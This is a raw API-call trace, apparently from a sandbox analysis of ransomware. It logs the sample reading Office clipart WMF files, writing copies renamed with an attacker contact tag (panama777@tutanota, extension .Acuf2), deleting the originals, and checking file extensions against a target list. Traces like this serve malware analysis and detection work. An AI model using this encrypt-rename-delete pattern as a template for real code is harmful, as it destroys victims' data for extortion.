	[0273.448] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.448] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0273.449] GetLastError () returned 0x0
	[0273.449] ReadFile (in: hFile=0x218, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xb60, lpOverlapped=0x0) returned 1
	[0273.450] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xb70, lpOverlapped=0x0) returned 1
	[0273.451] ReadFile (in: hFile=0x218, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.451] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.451] SetEndOfFile (hFile=0x358) returned 1
	[0273.451] CloseHandle (hObject=0x358) returned 1
	[0273.451] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.451] SetEndOfFile (hFile=0x218) returned 1
	[0273.453] CloseHandle (hObject=0x218) returned 1
	[0273.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 1
	[0273.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63
	[0273.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63
	[0273.453] lstrlenW (lpString=".doc") returned 4
	[0273.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString=".docx") returned 5
	[0273.454] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0273.454] lstrlenW (lpString=".pdf") returned 4
	[0273.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString=".xls") returned 4
	[0273.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.454] lstrlenW (lpString=".xlsx") returned 5
	[0273.454] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0273.454] lstrlenW (lpString=".ppt") returned 4
	[0273.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63
	[0273.454] lstrlenW (lpString=".zip") returned 4
	[0273.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.454] lstrlenW (lpString=".rar") returned 4
	[0273.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString=".bz2") returned 4
	[0273.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString=".7z") returned 3
	[0273.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63
	[0273.454] lstrlenW (lpString=".dbf") returned 4
	[0273.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63
	[0273.454] lstrlenW (lpString=".1cd") returned 4
	[0273.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63
	[0273.454] lstrlenW (lpString=".jpg") returned 4
	[0273.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.455] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=31812) returned 1
	[0273.455] CloseHandle (hObject=0x218) returned 1
	[0273.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20
	[0273.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0273.455] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.455] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0273.456] GetLastError () returned 0x0
	[0273.456] ReadFile (in: hFile=0x218, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x7c44, lpOverlapped=0x0) returned 1
	[0273.458] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x7c50, lpOverlapped=0x0) returned 1
	[0273.459] ReadFile (in: hFile=0x218, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.459] WriteFile (in: hFile=0x358, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.459] SetEndOfFile (hFile=0x358) returned 1
	[0273.459] CloseHandle (hObject=0x358) returned 1
	[0273.459] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.459] SetEndOfFile (hFile=0x218) returned 1
	[0273.909] CloseHandle (hObject=0x218) returned 1
	[0273.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 1
	[0274.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63
	[0274.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63
	[0274.000] lstrlenW (lpString=".doc") returned 4
	[0274.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.000] lstrlenW (lpString=".docx") returned 5
	[0274.000] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.000] lstrlenW (lpString=".pdf") returned 4
	[0274.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.000] lstrlenW (lpString=".xls") returned 4
	[0274.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.000] lstrlenW (lpString=".xlsx") returned 5
	[0274.000] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.000] lstrlenW (lpString=".ppt") returned 4
	[0274.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63
	[0274.000] lstrlenW (lpString=".zip") returned 4
	[0274.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.000] lstrlenW (lpString=".rar") returned 4
	[0274.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.000] lstrlenW (lpString=".bz2") returned 4
	[0274.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.000] lstrlenW (lpString=".7z") returned 3
	[0274.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63
	[0274.001] lstrlenW (lpString=".dbf") returned 4
	[0274.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63
	[0274.001] lstrlenW (lpString=".1cd") returned 4
	[0274.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63
	[0274.001] lstrlenW (lpString=".jpg") returned 4
	[0274.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.036] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.036] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.036] GetLastError () returned 0x0
	[0274.036] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x287c, lpOverlapped=0x0) returned 1
	[0274.045] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2880, lpOverlapped=0x0) returned 1
	[0274.046] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.046] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.046] SetEndOfFile (hFile=0x328) returned 1
	[0274.046] CloseHandle (hObject=0x328) returned 1
	[0274.046] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.046] SetEndOfFile (hFile=0x334) returned 1
	[0274.048] CloseHandle (hObject=0x334) returned 1
	[0274.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 1
	[0274.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63
	[0274.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63
	[0274.049] lstrlenW (lpString=".doc") returned 4
	[0274.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.049] lstrlenW (lpString=".docx") returned 5
	[0274.049] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.049] lstrlenW (lpString=".pdf") returned 4
	[0274.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.049] lstrlenW (lpString=".xls") returned 4
	[0274.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.049] lstrlenW (lpString=".xlsx") returned 5
	[0274.049] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.049] lstrlenW (lpString=".ppt") returned 4
	[0274.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63
	[0274.049] lstrlenW (lpString=".zip") returned 4
	[0274.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.049] lstrlenW (lpString=".rar") returned 4
	[0274.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.049] lstrlenW (lpString=".bz2") returned 4
	[0274.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.049] lstrlenW (lpString=".7z") returned 3
	[0274.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63
	[0274.049] lstrlenW (lpString=".dbf") returned 4
	[0274.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63
	[0274.049] lstrlenW (lpString=".1cd") returned 4
	[0274.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63
	[0274.050] lstrlenW (lpString=".jpg") returned 4
	[0274.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.050] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=13808) returned 1
	[0274.050] CloseHandle (hObject=0x334) returned 1
	[0274.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20
	[0274.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0274.050] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.050] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.051] GetLastError () returned 0x0
	[0274.051] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x35f0, lpOverlapped=0x0) returned 1
	[0274.055] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3600, lpOverlapped=0x0) returned 1
	[0274.056] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.056] WriteFile (in: hFile=0x328, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.056] SetEndOfFile (hFile=0x328) returned 1
	[0274.056] CloseHandle (hObject=0x328) returned 1
	[0274.056] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.056] SetEndOfFile (hFile=0x334) returned 1
	[0274.058] CloseHandle (hObject=0x334) returned 1
	[0274.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 1
	[0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63
	[0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63
	[0274.059] lstrlenW (lpString=".doc") returned 4
	[0274.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString=".docx") returned 5
	[0274.059] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.059] lstrlenW (lpString=".pdf") returned 4
	[0274.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString=".xls") returned 4
	[0274.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.059] lstrlenW (lpString=".xlsx") returned 5
	[0274.059] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.059] lstrlenW (lpString=".ppt") returned 4
	[0274.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63
	[0274.059] lstrlenW (lpString=".zip") returned 4
	[0274.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.059] lstrlenW (lpString=".rar") returned 4
	[0274.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString=".bz2") returned 4
	[0274.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString=".7z") returned 3
	[0274.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63
	[0274.059] lstrlenW (lpString=".dbf") returned 4
	[0274.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63
	[0274.059] lstrlenW (lpString=".1cd") returned 4
	[0274.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63
	[0274.059] lstrlenW (lpString=".jpg") returned 4
	[0274.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.061] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=8240) returned 1
	[0274.061] CloseHandle (hObject=0x328) returned 1
	[0274.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20
	[0274.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.061] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.061] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.062] GetLastError () returned 0x0
	[0274.062] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2030, lpOverlapped=0x0) returned 1
	[0274.063] WriteFile (in: hFile=0x388, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2040, lpOverlapped=0x0) returned 1
	[0274.064] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.064] WriteFile (in: hFile=0x388, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.064] SetEndOfFile (hFile=0x388) returned 1
	[0274.064] CloseHandle (hObject=0x388) returned 1
	[0274.064] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.064] SetEndOfFile (hFile=0x328) returned 1
	[0274.066] CloseHandle (hObject=0x328) returned 1
	[0274.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 1
	[0274.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63
	[0274.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63
	[0274.067] lstrlenW (lpString=".doc") returned 4
	[0274.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString=".docx") returned 5
	[0274.068] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.068] lstrlenW (lpString=".pdf") returned 4
	[0274.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString=".xls") returned 4
	[0274.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.068] lstrlenW (lpString=".xlsx") returned 5
	[0274.068] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.068] lstrlenW (lpString=".ppt") returned 4
	[0274.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63
	[0274.068] lstrlenW (lpString=".zip") returned 4
